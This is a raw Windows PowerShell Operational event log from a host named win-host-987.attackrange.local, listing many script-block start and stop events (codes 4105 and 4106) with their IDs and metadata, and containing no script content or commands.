Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037420
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037419
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037397
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037396
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037395
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037394
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037378
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037377
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037372
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
